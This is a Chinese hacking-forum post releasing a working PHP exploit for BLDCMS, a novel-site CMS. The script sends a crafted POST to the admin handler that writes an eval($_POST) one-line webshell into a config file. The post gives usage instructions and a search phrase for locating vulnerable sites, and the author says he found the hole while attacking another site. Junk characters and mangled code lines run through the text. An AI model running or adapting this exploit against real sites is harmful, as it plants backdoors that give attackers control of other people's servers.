BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
7 H8 Z7 m6 O  p; O6 E' o" h
% c+ P0 q$ |+ N- e
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
) v! w# F2 j  i- k. j0 p1 a: o! `& ^
% w1 T* e% b8 C/ h% ^既然都有人发了 我就把我之前写好的EXP放出来吧

0 Q% Z1 r9 ?1 U! |+ G' R/ M% qview source print?01.php;">
5 |$ e2 }! y# e3 o& a4 \$ p7 _02.<!--?php
$ X- ?" y; H3 x. ^' ]6 N6 Y: }1 N. J03.echo "-------------------------------------------------------------------
' t9 B6 j2 i0 \04.
3 y+ K' I, Q( |$ H0 @. g05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
  V8 N9 F, v0 V06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
* a0 ]  l3 J$ u6 T# X13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
3 F7 W* S3 y! ?/ I3 X' i3 Y0 H3 M2 x, z15.
! \. g+ ?9 Y4 v+ E" y/ A16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
& Q5 _5 B" L# d& P18.$dir=$argv[2];
/ o1 M! U" I$ j1 r19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
& K( B8 z% A  K+ h21.if (emptyempty($pass)||emptyempty($url))
; }' q* y, n2 N( A& ^% [22.{exit("请输入参数");}
0 X! H/ e7 |' h) U23.else
24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
5 l: D  g& n1 I- h/ R( u30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
+ h  h- D' p0 H' C5 Q$ y7 z7 Q9 B32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
# _; a7 J( y+ |5 {35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
2 ~7 n( O8 J0 w. C( ]38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
6 v7 f% {1 G! g8 P41.if (!$fp)
3 Y  B9 ~8 u# Y42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
7 L) B! ]& K7 ]. g) X4 A5 l' h; u8 x44.}
, O4 e! G/ _$ j8 G45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
3 J. f: h/ [% L, F/ q50.while (!feof($fp)) {
4 }: i+ j: v2 B* m& g3 m  Q51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
4 `& r- D1 k7 Z+ k54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
4 g! U* ~: }" G* K55.
9 K# g0 c% h/ ^56.GPC是否=off)";
57.}}
9 A. z. Q1 ]( [/ {" i( A58.}
4 h+ c7 N6 R* h% R1 c6 W3 Y59.}
  F9 w- e) J5 c3 I3 j60.getshell($url,$pass);
61.?-->

( i% S) o4 d# m

by 数据流
( f) K8 p$ s+ |6 w. g